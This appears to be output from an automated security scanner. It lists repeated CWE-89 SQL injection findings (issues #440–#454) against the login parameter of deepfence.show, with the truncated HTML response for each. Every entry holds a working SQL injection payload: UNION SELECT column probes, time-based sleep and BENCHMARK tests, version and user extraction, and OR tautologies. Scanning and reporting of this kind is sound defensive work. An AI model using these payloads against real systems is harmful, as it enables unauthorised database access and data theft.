Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #440
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #441Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iosleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #442
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iopg_SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #443
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')
),4,5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #444
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io %2c(select%20*%20from%20(select(sleep(10)))a)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #445
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' OR '' = '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #446
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #447
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #448
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #449
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #450
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #451
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #452Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #453
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor 1=1/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #454
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
